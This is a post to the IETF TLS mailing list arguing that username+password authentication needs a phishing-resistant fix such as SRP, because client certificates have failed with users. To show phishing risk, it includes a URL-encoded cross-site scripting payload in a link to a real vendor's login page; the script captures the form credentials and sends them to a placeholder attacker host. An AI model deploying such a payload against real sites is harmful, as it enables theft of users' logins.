Re: [TLS] Straw poll on TLS SRP status

[pgut001 at cs.auckland.ac.nz (Peter Gutmann)]

Martin Rex <Martin.Rex at sap.com> writes:

>The main reason why I brought it up is because most the installed base is
>able to cope with SSL clients certs.

I think you need to break that down into two parts: The majority of the
installed (SSL-using) application base can process client certs.  However, the
vast majority of the installed user base is totally unable to handle client
certs.  See e.g. "In search of usable security - five lessons from the field"
by Balfanz et al (that's the first one that comes to mind, I can dig up a
dozen others if people want).  All of them come to pretty much the same
conclusion: PKI/certs are too complex for the average person to handle.  The
phishing industry can confirm this - you can't argue with $4 billion a year
(YMMV) in profits based on lack of proper auth mechanisms in browsers.

>I would not want to see additional password-based authentication schemes to
>be promoted that require significant changes to then entire
>infrastructure/middleware, because this will only add new problems, and not
>really solve any of the existing problems.

The existing problem is that we have nothing that offers even the most trivial
resistance to phishing, and that after 15-odd years of trying we still can't
get past username+password without first performing a firmware upgrade of a
billion-odd users worldwide, which is unlikely to ever happen.

For a nice example of how this will hit even expert users, go to

https://www.zonealarm.com/store/application?namespace=zls_user&event=link.login&dc=34std&ctry=US&lang=en&hexkey=FEAB37CDAA8DC8F419BA56AA4B45C4AD8CF8496F921D8DA34A22CB284A36CAAA73F5C4F9C2B835EEA32F691CFC64249DAFAE221EC57677FBCC5171E151B8734CFF562FA4CA891A9EB908BFEB74D98DD38C110E933CA8A64DDA8E548D95E492FD5235F8EFA79101943E17B0E2017194398E46E80CF43099CD42A42CDC3EFFEBA&origin=glo%22%3E%3Cscript%3Efunction%20xss()%20%7B%0A%20var%20f%20%3D%20document.forms%5B2%5D%3B%20%2F%2F%20grab%20the%203rd%20form%20in%20the%20page%2C%20the%20login%20one%0A%20%0A%20if(!(f%20%26%26%20f.zl_user_name%20%26%26%20f.zl_user_password))%20return%20%2F%2F%20nothing%20to%20see%20here%0A%20if(f.zl_user_name.value%20%26%26%20f.zl_user_password.value)%20%7B%0A%20%20%20%2F%2F%20we've%20got%20everything%2C%20let's%20phone%20home%0A%20%20%20new%20Image().src%3D%22hxxp%3A%2F%2Felio-the-evil-hacker.com%3Fu%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_name.value)%20%2B%20%22%26p%3D%22%20%2B%20%0A%20%20%20%20%2
 0escape(f.zl_user_password.value)%3B%0A%0A%20%20%2F%2F%20OK%2C%20this%20is%20just%20a%20demo%0A%20%20document.body.innerHTML%20%3D%20%22Your%20credentials%20have%20just%20been%20stolen%3A%3Cbr%3E%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_name.value%20%2B%20%22%2C%20%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_password.value%20%2B%20%22%3Ch1%3EMWAHAHAHA!%3C%2Fh1%3E%22%3B%0A%20%20return%3B%0A%20%7D%0A%20if((f.zl_user_password.onchange%20%7C%7C%20null)%20%3D%3D%20xss)%20return%3B%0A%20f.zl_user_name.onchange%20%3D%20xss%3B%0A%20f.zl_user_password.onchange%20%3D%20xss%3B%0A%20%0A%7D%0Awindow.onload%20%3D%20xss%3B%3C/script%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22bal.jsp

verify the SSL cert and every other browser security indicator you want, then
enter a (dummy) user name and password and hit enter (the result isn't
malicious, just unexpected).

Anyway, there are two solutions:

1. Sit back and wait for client certs to start working.  Hey, we've been
   waiting for fifteen-odd years already, they've gotta start working at some
   point, right?

2. Accept that username+password isn't going to go away (ever) and try and fix
   it by providing a proper security mechanism for it (mutual-auth challenge-
   response, for example).

I'm going for #2, which would seriously impact phishing if properly
implemented (admittedly it's not a silver bullet, but it'd seriously raise the
bar for phishing attacks, which is a step in the right direction).

The phishers in contrast are counting on people opting for #1 instead.

>Here in Germany, most banks use an OTP-style approach (TAN) for
>authenticating transactions.

In a previous message I commented that the use of hand-over-the-password,
circa 1965, had to be the ultimate indictment of the failure of browser
authentication mechanisms, but I think this is even more damning: Banks are
having to resort to printing and mailing out lists of TANs (i.e. physical
distribution of codebooks), a technique going back to the middle ages, because
security protocol designers haven't been able to provide them with anything
better.  Instead of requiring organisations who care about security to get
medieval on your keyboard, let's give them something they can use.

>If we think that passwords are fundamentally flawed in this environment, we
>should not significantly prolong and promote their continued use by applying
>band aids.

Give me an alternative, backed by independent usability studies to show that
users will be able to handle it, and I'll go with it.  So far we have
*nothing* that can effectively replace passwords.  Again, I can cite any
number of HCI studies to back this up if you want.  To paraphrase Winston
Churchill, "passwords are the worst form of user authentication, except for
all the others".

Peter.

_______________________________________________
TLS mailing list
TLS at lists.ietf.org
https://www1.ietf.org/mailman/listinfo/tls